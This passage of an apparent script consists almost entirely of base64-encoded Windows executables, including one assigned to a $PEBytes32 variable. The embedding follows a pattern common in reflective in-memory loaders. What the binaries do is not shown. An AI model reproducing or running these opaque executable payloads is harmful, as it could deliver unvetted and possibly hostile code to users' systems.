AACkWQFAAQAAALBZAUABAAAAuFkBQAEAAADIWQFAAQAAANRZAUABAAAA4FkBQAEAAADsWQFAAQAAAPBZAUABAAAA9FkBQAEAAAD4WQFAAQAAAPxZAUABAAAAAFoBQAEAAAAEWgFAAQAAAAhaAUABAAAADFoBQAEAAAAQWgFAAQAAABRaAUABAAAAGFoBQAEAAAAgWgFAAQAAAChaAUABAAAANFoBQAEAAAA8WgFAAQAAAPxZAUABAAAARFoBQAEAAABMWgFAAQAAAFRaAUABAAAAYFoBQAEAAABwWgFAAQAAAHhaAUABAAAAiFoBQAEAAACUWgFAAQAAAJhaAUABAAAAoFoBQAEAAACwWgFAAQAAAMhaAUABAAAAAQAAAAAAAADYWgFAAQAAAOBaAUABAAAA6FoBQAEAAADwWgFAAQAAAPhaAUABAAAAAFsBQAEAAAAIWwFAAQAAABBbAUABAAAAIFsBQAEAAAAwWwFAAQAAAEBbAUABAAAAWFsBQAEAAABwWwFAAQAAAIBbAUABAAAAmFsBQAEAAACgWwFAAQAAAKhbAUABAAAAsFsBQAEAAAC4WwFAAQAAAMBbAUABAAAAyFsBQAEAAADQWwFAAQAAANhbAUABAAAA4FsBQAEAAADoWwFAAQAAAPBbAUABAAAA+FsBQAEAAAAIXAFAAQAAACBcAUABAAAAMFwBQAEAAAC4WwFAAQAAAEBcAUABAAAAUFwBQAEAAABgXAFAAQAAAHBcAUABAAAAiFwBQAEAAACYXAFAAQAAALBcAUABAAAAxFwBQAEAAADMXAFAAQAAANhcAUABAAAA8FwBQAEAAAAYXQFAAQAAADBdAUABAAAAkOABQAEAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAtN0BQAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC03QFAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALTdAUABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAtN0BQAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC03QFAAQAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANDjAUABAAAAAAAAAAAAAAAAAAAAAAAAAHCcAUABAAAAAKEBQAEAAACAogFAAQAAAMDdAUABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/v///wAAAAAUAAAAAAAAALCQAUABAAAAHQAAAAAAAAC0kAFAAQAAABoAAAAAAAAAuJABQAEAAAAbAAAAAAAAALyQAUABAAAAHwAAAAAAAADEkAFAAQAAABMAAAAAAAAAzJABQAEAAAAhAAAAAAAAANSQAUABAAAADgAAAAAAAADckAFAAQAAAA0AAAAAAAAA5JABQAEAAAAPAAAAAAAAAOyQAUABAAAAEAAAAAAAAAD0kAFAAQAAAAUAAAAAAAAA/JABQAEAAAAeAAAAAAAAAASRAUABAAAAEgAAAAAAAAAIkQFAAQAAACAAAAAAAAAADJEBQAEAAAAMAAAAAAAAABCRAUABAAAACwAAAAAAAAAYkQFAAQAAABUAAAAAAAAAIJEBQAEAAAAcAAAAAAAAACiRAUABAAAAGQAAAAAAAAAwkQFAAQAAABEAAAAAAAAAOJEBQAEAAAAYAAAAAAAAAJBHAUABAAAAFgAAAAAAAABAkQFAAQAAABcAAAAAAAAASJEBQAEAAAAiAAAAAAAAAFCRAUABAAAAIwAAAAAAAABUkQFAAQAAACQAAAAAAAAAWJEBQAEAAAAlAAAAAAAAAFyRAUABAAAAJgAAAAAAAABokQFAAQAAAJQmAAAAAAAAAAAAAAAAAABo5AFAAQAAAMD9AUABAAAAwP0BQAEAAADA/QFAAQAAAMD9AUABAAAAwP0BQAEAAADA/QFAAQAAAMD9AUABAAAAwP0BQAEAAADA/QFAAQAAAH9/f39/f39/bOQBQAEAAADE/QFAAQAAAMT9AUABAAAAxP0BQAEAAADE/QFAAQAAAMT9AUABAAAAxP0BQAEAAADE/QFAAQAAAC4AAAAuAAAA0OMBQAEAAABwnAFAAQAAAHKeAUABAAAAAAAAAAAAAAAAAAAAAADwfwAAAAAAAPj/////////738AAAAAAAAQAAAAAAAAAACAdJ4BQAEAAAAABAAAAfz//zUAAAALAAAAQAAAAP8DAACAAAAAgf///xgAAAAIAAAAIAAAAH8AAAAAAAAAAAAAAACgAkAAAAAAAAAAAADIBUAAAAAAAAAAAAD6CEAAAAAAAAAAAECcDEAAAAAAAAAAAFDDD0AAAAAAAAAAACT0EkAAAAAAAAAAgJaYFkAAAAAAAAAAILy+GUAAAAAAAAS/yRuONEAAAACh7czOG8LTTkAg8J61cCuorcWdaUDQXf0l5RqOTxnrg0BxlteVQw4FjSmvnkD5v6BE7YESj4GCuUC/PNWmz/9JH3jC00BvxuCM6YDJR7qTqEG8hWtVJzmN93DgfEK83Y7e+Z37636qUUOh5nbjzPIpL4SBJkQoEBeq+K4Q48XE+kTrp9Tz9+vhSnqVz0VlzMeRDqauoBnjo0YNZRcMdYGGdXbJSE1YQuSnkzk7Nbiy7VNNp+VdPcVdO4ueklr/XabwoSDAVKWMN2HR/Ytai9glXYn522eqlfjzJ7+iyF3dgG5MyZuXIIoCUmDEJXUAAAAAzczNzMzMzMzMzPs/cT0K16NwPQrXo/g/WmQ730+Nl24Sg/U/w9MsZRniWBe30fE/0A8jhEcbR6zFp+4/QKa2aWyvBb03hus/Mz28Qnrl1ZS/1uc/wv39zmGEEXfMq+Q/L0xb4U3EvpSV5sk/ksRTO3VEzRS+mq8/3me6lDlFrR6xz5Q/JCPG4ry6OzFhi3o/YVVZwX6xU3wSu18/1+4vjQa+koUV+0Q/JD+l6TmlJ+p/qCo/fayh5LxkfEbQ3VU+Y3sGzCNUd4P/kYE9kfo6GXpjJUMxwKw8IYnROIJHl7gA/dc73IhYCBux6OOGpgM7xoRFQge2mXU32y46M3Ec0iPbMu5JkFo5poe+wFfapYKmorUy4miyEadSn0RZtxAsJUnkLTY0T1Ouzmslj1kEpMDewn376MYenueIWleRPL9QgyIYTktlYv2Dj68GlH0R5C3en87SyATdptgKAAAAAP7/////////AAAAAAAAAAAAAAAAAADwf/BGAUABAAAAuEYBQAEAAACARgFAAQAAAKBHAUABAAAAAAAAAAAAAAAuP0FWYmFkX2FsbG9jQHN0ZEBAAAAAAACgRwFAAQAAAAAAAAAAAAAALj9BVmV4Y2VwdGlvbkBzdGRAQAAAAAAAoEcBQAEAAAAAAAAAAAAAAC4/QVZsb2dpY19lcnJvckBzdGRAQAAAAKBHAUABAAAAAAAAAAAAAAAuP0FWbGVuZ3RoX2Vycm9yQHN0ZEBAAACgRwFAAQAAAAAAAAAAAAAALj9BVm91dF9vZl9yYW5nZUBzdGRAQAAAoEcBQAEAAAAAAAAAAAAAAC4/QVZ0eXBlX2luZm9AQACgRwFAAQAAAAAAAAAAAAAALj9BVmJhZF9leGNlcHRpb25Ac3RkQEAAoEcBQAEAAAAAAAAAAAAAAC4/QVZfSW9zdHJlYW1fZXJyb3JfY2F0ZWdvcnlAc3RkQEAAAAAAAACgRwFAAQAAAAAAAAAAAAAALj9BVl9TeXN0ZW1fZXJyb3JfY2F0ZWdvcnlAc3RkQEAAAAAAAAAAAKBHAUABAAAAAAAAAAAAAAAuP0FWZXJyb3JfY2F0ZWdvcnlAc3RkQEAAAAAAAAAAAKBHAUABAAAAAAAAAAAAAAAuP0FWX0dlbmVyaWNfZXJyb3JfY2F0ZWdvcnlAc3RkQEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwEAAAVhAAAECvAQBwEAAApxAAAEivAQDgEAAAQhEAAFCvAQBgEQAArREAAEivAQDAEQAAIhIAAFCvAQAwEgAAbxIAAFyvAQBwEgAAQBMAAGivAQBAEwAAxBMAAHSvAQDEEwAA3RMAAIivAQDdEwAA/BMAAJyvAQAAFAAAABUAAKyvAQAAFQAAPRUAAECvAQBAFQAADh0AALyvAQAQHQAAOR0AAECvAQBAHQAAbx0AAECvAQBwHQAAmx4AAGCwAQCgHgAA0h8AAHSwAQDgHwAAqyAAAFyvAQCwIAAAQyEAAISwAQBDIQAAoSEAAJSwAQChIQAAwSEAAKiwAQDQIQAA+SEAALiwAQD5IQAAZiIAAMSwAQBmIgAA+CIAANiwAQAAIwAAASQAAOiwAQAQJAAAYSQAANSxAQBhJAAAyiQAAOixAQDKJAAA/SQAAPyxAQAAJQAAHCUAAAyyAQAcJQAAQiUAABSyAQBCJQAAaCUAACiyAQBoJQAAdSUAADyyAQCAJQAAkSUAAEyyAQCRJQAAtikAAFiyAQC2KQAA0CkAAHSyAQDQKQAA6yoAAISyAQDwKgAAQCsAAHSwAQAALAAAPywAAFCzAQBALAAAcywAAECvAQCALAAApy4AAFizAQCwLgAA/i4AAECvAQCALwAAHzIAAECvAQAgMgAAVTMAAOizAQCoMwAAyTMAAECvAQDMMwAA7TMAAECvAQDwMwAAETQAAECvAQAUNAAANTQAAECvAQBQNAAAiTQAAFyvAQCMNAAAuzQAAFyvAQC8NAAA/zQAACy7AQAANQAANjUAACy7AQA4NQAAbjUAACy7AQCANQAAnzUAAFC0AQCwNQAAFTsAAFi0AQAYOwAAwzsAAFy0AQDEOwAABzwAAECvAQAIPAAAEj0AAIC0AQAUPQAAKz0AAFCzAQBEPQAA7z0AALC0AQDwPQAAGj4AAFCzAQAkPgAAQj4AAFCzAQBEPgAAfT4AAFyvAQCAPgAAwT4AAECvAQDEPgAA2j4AAECvAQDcPgAAAj8AAECvAQAkPwAAuj8AAECvAQDIPwAAE0AAAECvAQAUQAAAdEAAAGCwAQB0QAAArUAAAFyvAQDIQAAAXUIAANS0AQBsQgAA1UIAAIC9AQDYQgAAWEQAAAS1AQBYRAAAhEQAAECvAQCERAAAlkQAAFCzAQCwRAAAWEUAADC1AQBYRQAAHUYAADS1AQAgRgAA6UYAALC1AQDsRgAAGEgAAJS1AQAYSAAArEgAAES1AQCsSAAATUkAANi1AQBQSQAAoUkAAGy1AQCkSQAA50kAAECvAQDoSQAARkoAAFyvAQBISgAAXUoAAFCzAQBgSgAAdUoAAFCzAQB4SgAAqkoAAECvAQCsSgAAx0oAAECvAQDISgAA40oAAECvAQDkSgAABUwAAFi1AQAITAAAj0wAAMi1AQAgTQAATU0AAECvAQBsTQAAlk0AAECvAQCoTQAA7E0AAFyvAQDsTQAAJU4AAFyvAQAoTgAAgk4AAOy1AQCETgAAq04AAECvAQDATgAACU8AAECvAQAMTwAA3U8AANi/AQDgTwAAhFEAAPy1AQCEUQAAdlIAABC2AQCAUgAA5VIAADC2AQDoUgAABlMAADS7AQAIUwAAQ1MAAFCzAQBEUwAA3FMAAFyvAQDcUwAADFQAAFCzAQAUVAAAeVQAAECvAQB8VAAArVQAAECvAQAgVQAAV1UAAES2AQBYVQAAJ1YAAJy/AQAoVgAA0FYAAECvAQDQVgAAZmEAAEy2AQBoYQAAn2EAAECvAQCgYQAA8WEAAHC2AQD0YQAAjWIAAIS2AQCQYgAAsGIAAFCzAQCwYgAA/mIAAFyvAQAAYwAAIGMAAFCzAQBwYwAAUWUAAJy2AQBUZQAAjWUAAFCzAQCQZQAAD2YAAHi6AQAQZgAAimYAAHi6AQCMZgAADWcAAHi6AQAQZwAAIHEAALi2AQAgcQAAZnEAAECvAQBocQAAuXEAAHC2AQC8cQAAUHIAAIS2AQBscgAAwXIAAFCzAQDMcgAACXMAANy2AQAgcwAAh3MAAOi2AQCIcwAA9HMAAOy2AQD0cwAALHQAAFyvAQAsdAAAZHQAAFyvAQBkdAAAqHQAAFyvAQCodAAAL3UAAGCwAQAwdQAA7XUAAAy3AQDwdQAAUXYAAHSwAQBsdgAA2XYAADS3AQDcdgAATXcAAEC3AQDAdwAA63cAAFCzAQDsdwAAOHgAAECvAQA4eAAAMnwAAECvAQBEfAAAY3wAAECvAQBkfAAAhHwAAECvAQCEfAAAx3wAAFCzAQD4fAAAZ38AAEy3AQDAfwAADYAAAHC3AQBAgAAAeYAAAFyvAQB8gAAAnIAAALS3AQCcgAAAu4AAAJS3AQC8gAAA2YAAAFCzAQDcgAAAD4EAAECvAQBIgQAAe4MAANS3AQCEgwAArIMAAFCzAQCsgwAAKYQAAIC9AQAshAAAuoQAAGCwAQC8hAAAnYYAAHi4AQCghgAAWocAAAS4AQBchwAAoIkAACi4AQCgiQAATowAAFi4AQBQjAAABo0AAHSwAQAIjQAAQI0AAFCzAQBAjQAAV40AAFCzAQBYjQAAJI8AAGCwAQAkjwAAV5AAAJS4AQBYkAAAfJAAAECvAQB8kAAA/pAAAFyvAQAAkQAAwpEAAMi4AQDEkQAAQ5IAAECvAQBEkgAAaJIAAFCzAQBokgAAiJIAAFCzAQCIkgAAtZUAAPy4AQC4lQAApZYAAES5AQColgAAQJgAAFS5AQBAmAAAeJkAAGy5AQCAmQAAwJkAAFCzAQDAmQAAbJoAAIS5AQBsmgAA7poAAGCwAQDwmgAAXpsAAKi6AQBgmwAAgZsAAECvAQCUmwAAzZsAAFyvAQDQmwAAkZwAADS6AQCUnAAASKEAABi6AQBIoQAAraMAAJC6AQCwowAAh6QAAMi6AQCspAAAYqUAAEy6AQBkpQAAs6cAAPy6AQC0pwAAt6kAAJC5AQC4qQAAC6oAAFCzAQAMqgAAnqsAANy5AQCgqwAAxK0AAOS6AQDErQAA8a4AAHi6AQD0rgAAG68AAFCzAQAcrwAARa8AAECvAQBUrwAAj68AAFyvAQCYrwAAJLAAAGCwAQAksAAAQbAAAFCzAQBEsAAAp7AAAECvAQCosAAAzLAAACy7AQDMsAAASrEAADS7AQBMsQAA/LQAAHC7AQD8tAAA9bYAADy7AQD4tgAA77cAAFi7AQDwtwAAUbkAAIy7AQBUuQAAJboAAKS7AQAougAAXLsAALy7AQBkuwAA+rsAAIC9AQAEvAAARLwAAEivAQBMvAAAy7wAAIC9AQDgvAAAQb0AAECvAQBgvQAAir8AANi7AQCMvwAANMAAANy7AQA0wAAAgMAAAECvAQCAwAAA+cAAAHSwAQAIwQAA7sEAAAS8AQDwwQAAFsIAAFCzAQAYwgAAd8IAAFCzAQAEwwAAmsQAAGCwAQBAxQAAtcUAAES8AQC4xQAAGsYAAFyvAQAcxgAAX8YAAIC9AQBgxgAApcYAAIC9AQCoxgAAm8gAAGS8AQCcyAAA7ckAAIC8AQAQygAANMoAAJi8AQBAygAAWMoAAKC8AQBgygAAYcoAAKS8AQBwygAAccoAAKi8AQB0ygAAR8sAAHSwAQBIywAA4ssAAFyvAQDkywAAb80AAKy8AQBwzQAA+s4AAMC8AQD8zgAAEM8AADS7AQAQzwAAms8AAHi6AQCczwAAzs8AAFCzAQDQzwAAX9AAANC8AQDQ0AAA4NAAAOC8AQAg0QAApdEAAECvAQCo0QAAE9IAAECvAQAw0gAA/NIAAECvAQD80gAAb9UAAOi8AQB81QAAaNgAABS9AQBo2AAA/tgAAAS9AQAA2QAAdtoAAEy9AQB42gAA9NoAADy9AQAQ2wAAUNsAAHi9AQBY2wAA0tsAAIC9AQDU2wAAJt0AAIi9AQBI3QAAjN4AAJi9AQCM3gAAV98AAFyvAQBY3wAAJ+AAALS9AQAo4AAA7+AAAKC9AQD44AAAxeEAAOC9AQDI4QAAf+IAAMi9AQCA4gAA+uIAAFyvAQD84gAAYuMAAOi9AQBk4wAAO+QAAAy+AQA85AAAHeUAADS+AQAg5QAAEe0AAGC+AQAU7QAAHu4AAIS+AQAg7gAAjO4AANy2AQCM7gAAhvIAAIS+AQCI8gAAFfQAAIy+AQAY9AAA/fQAAKC+AQAA9QAAk/UAAHSwAQCU9QAA5/UAAECvAQAA9gAATvYAANC+AQBQ9gAAK/cAANi+AQAs9wAAc/cAAOi+AQB09wAAKv0AAAi/AQAs/QAA4gIBAAi/AQDkAgEARQsBACy/AQBICwEAIBYBAFC/AQAgFgEA4xYBAHS/AQDkFgEAnhcBAFyvAQCgFwEA1xcBAECvAQDYFwEAcBgBAKy/AQBwGAEAGhkBAJy/AQAcGQEAkBkBAFCzAQC8GQEAFRoBANi/AQAwGgEA9xoBAOC/AQD4GgEAGh0BAOS/AQAcHQEAPB0BAFCzAQA8HQEAdx0BACy7AQCMHQEAGx4BAHi6AQBAHgEAgx4BALCxAQCDHgEAwR4BAMCxAQDQHgEAHx8BACyzAQAfHwEAXx8BADyzAQBgHwEAgx8BANizAQCQHwEAsB8BADy0AQCwHwEAxB8BACi1AQDEHwEA6x8BACi1AQDrHwEADyABACi1AQAPIAEALSABACi1AQAtIAEAcyABAIy1AQBzIAEAjCABACi1AQCMIAEAqSABACi1AQCwIAEA0CABACi1AQDQIAEA7iABACi1AQDuIAEAByEBACi1AQAHIQEAICEBACi1AQAgIQEAOSEBACi1AQA5IQEAVCEBACi1AQBUIQEASCIBACi1AQBIIgEAxiIBANC5AQDGIgEA3iIBACi1AQDeIgEA9CIBACi1AQD0IgEAHSMBACi1AQAdIwEANiMBACi1AQA2IwEAXiMBACi1AQBeIwEAdyMBACi1AQB3IwEAjyMBACi1AQCPIwEApiMBACi1AQCmIwEAvSMBACi1AQC9IwEA1iMBACi1AQDWIwEA7yMBACi1AQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABABgAAAAYAACAAAAAAAAAAAAAAAAAAAABAAEAAAAwAACAAAAAAAAAAAAAAAAAAAABAAkEAABIAAAAYCACAH0BAAAAAAAAAAAAAAAAAAAAAAAAPD94bWwgdmVyc2lvbj0nMS4wJyBlbmNvZGluZz0nVVRGLTgnIHN0YW5kYWxvbmU9J3llcyc/Pg0KPGFzc2VtYmx5IHhtbG5zPSd1cm46c2NoZW1hcy1taWNyb3NvZnQtY29tOmFzbS52MScgbWFuaWZlc3RWZXJzaW9uPScxLjAnPg0KICA8dHJ1c3RJbmZvIHhtbG5zPSJ1cm46c2NoZW1hcy1taWNyb3NvZnQtY29tOmFzbS52MyI+DQogICAgPHNlY3VyaXR5Pg0KICAgICAgPHJlcXVlc3RlZFByaXZpbGVnZXM+DQogICAgICAgIDxyZXF1ZXN0ZWRFeGVjdXRpb25MZXZlbCBsZXZlbD0nYXNJbnZva2VyJyB1aUFjY2Vzcz0nZmFsc2UnIC8+DQogICAgICA8L3JlcXVlc3RlZFByaXZpbGVnZXM+DQogICAgPC9zZWN1cml0eT4NCiAgPC90cnVzdEluZm8+DQo8L2Fzc2VtYmx5Pg0KAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMAEAUAEAAHiigKKIoqCiqKKworiiwKLYouCi6KJYo2ijeKOIo5ijqKO4o8ij2KPoo/ijCKQYpCikOKRIpFikaKR4pIikmKSopLikyKTYpOik+KQIpRilKKU4pUilWKVopXiliKWYpailuKXIpdil6KX4pQimGKYopjimSKZYpmimeKaIppimqKa4psim2KbopvimCKcYpyinOKdIp1inaKd4p4inmKeop7inyKfYp+inCKgYqCioOKhIqFioaKh4qIiomKioqLioyKjYqOio+KgIqRipKKk4qUipWKloqXipiKmYqaipuKnIqdip6Kn4qQiqGKooqjiqSKpYqmiqeKqIqpiqqKq4qsiq2KroqviqCKsYqyirOKtIq1iraKt4q4irmKuoq7iryKvYq+ir+KsIrBisKKw4rEisWKxorHisiKyYrKisuKzIrNisAAAAQAEAmAAAAECmSKZQplimYKZopnCmeKaApoimkKaYpqCmqKawprimwKbIptCm2Kbgpuim8Kb4pgCnCKcQpxinIKcopzCnSKdQp1inYKdop3CneKeAp4inmKegp6iosKi4qMCo4KjoqKisuKzIrNis6Kz4rAitGK0orTitSK1YrWiteK2IrZitqK24rcit2K3orfitCK4AAABQAQBkAAAAEKgYqCCoKKhAqUipUKlYqaituK3Irdit6K34rQiuGK4orjiuSK5YrmiueK6IrpiuqK64rsiu2K7orviuCK8YryivOK9Ir1ivaK94r4ivmK+or7ivyK/Yr+iv+K8AYAEACAIAAAigGKAooDigSKBYoGigeKCIoJigqKC4oMig2KDooPigCKEYoSihOKFIoVihaKF4oYihmKGoobihyKHYoeih+KEIohiiKKI4okiiWKJooniiiKKYoqiiuKLIotii6KL4ogijGKMoozijSKNYo2ijeKOIo5ijqKO4o8ij2KPoo/ijCKQYpCikOKRIpFikaKR4pIikmKSopLikyKTYpOik+KQIpRilKKU4pUilWKVopXiliKWYpailuKXIpdil6KX4pQimGKYopjimSKZYpmimeKaIppimqKa4psim2KbopvimCKcYpyinOKdIp1inaKd4p4inmKeop7inyKfYp+in+KcIqBioKKg4qEioWKhoqHioiKiYqKiouKjIqNio6Kj4qAipGKkoqTipSKlYqWipeKmIqZipqKm4qcip2KnoqfipCKoYqiiqOKpIqliqaKp4qoiqmKqoqriqyKrYquiq+KoIqxirKKs4q0irWKtoq3iriKuYq6iruKvIq9ir4KvwqwCsEKwgrDCsQKxQrGCscKyArJCsoKywrMCs0KzgrPCsAK0QrSCtMK1ArVCtYK1wrYCtkK2grbCtwK3QreCt8K0ArhCuIK4wrkCuUK5grnCugK6QrqCusK7ArtCu4K7wrgCvEK8grzCvQK9Qr2CvcK+Ar5CvoK+wr8Cv0K/gr/CvAHABAEwBAAAAoBCgIKAwoECgUKBgoHCggKCQoKCgsKDAoNCg4KDwoAChEKEgoTChQKFQoWChcKGAoZChoKGwocCh0KHgofChAKIQoiCiMKJAolCiYKJwooCikKKgorCiwKLQouCi8KIAoxCjIKMwo0CjUKNgo3CjgKOQo6CjsKPAo9Cj4KPwowCkEKQgpDCkQKRQpGCkcKSApJCkoKSwpMCk0KTgpPCkAKUQpSClMKVApVClYKVwpYClkKWgpbClwKXQpeCl8KUAphCmIKYwpkCmUKZgpnCmgKaQpqCmsKbAptCm4KbwpgCnEKcgpzCnQKdQp2CncKeAp5CnoKewp8Cn0Kfgp/CnAKgQqCCoMKhAqFCoYKhwqICokKigqLCowKjQqOCo8KgAqRCpIKkwqUCpUKlgqXCpgKmQqaCpsKnAqdCp4KnwqQCqEKoAkAEA0AAAAIChiKGQoZihoKGoobChuKHAocih0KHYoeCh6KHwofihAKIIohCiGKIgoiiiMKI4okCiSKJQoliiYKJoonCieKKAooiikKKYoqCiqKKworiiwKLIotCi2KLgouii8KL4ogCjCKMQoxijIKMoozCjOKNAo0ijUKNYo2CjaKNwo3ijgKOIo5CjmKOgo6ijsKO4o8CjyKPQo9ij4KPoo/Cj+KMApAikEKQYpCCkKKQwpDikQKRIpFCkWKRgpGikcKR4pICkiKSQpAAAAKABAAwAAAD4qAAAANABALQAAAAgoDCgUKVYpcCnyKfQp9in4Kfop/Cn+KcAqAioQK3Arcit0K3YreCt6K3wrfitAK4IrhCuGK4griiuMK44rkCuSK5QrliuYK5ornCueK6AroiukK6YrqCuqK6wrriuwK7IrtCu2K7gruiu8K74rgCvCK8QryCvKK8wrzivQK9Ir1CvWK9gr2ivcK94r4CviK+Qr5ivoK+or7CvuK/Ar8iv0K/Yr+Cv6K/wr/ivAOABAMAAAAAAoAigEKAYoCCgKKAwoDigQKBIoFCgWKBgoGigcKB4oICgyKDooAihKKFIoYChmKGgoaihsKH4oQiiGKIoojiiSKJYomiieKKIopiiqKK4osii2KLooviiCKMYoyijOKNIo1ijaKN4o4ijmKOoo7ij0KPYo+Cj6KPwo/ijAKQIpBCkGKQopDCkOKRApEikUKRYpGCkcKR4pICkuKTIp9Cn2KfgpwioMKhYqICoqKjIqPCoKKlgqZCpAAAAAAAAAAAAAAAAAAAAAA==' + $PEBytes32 = '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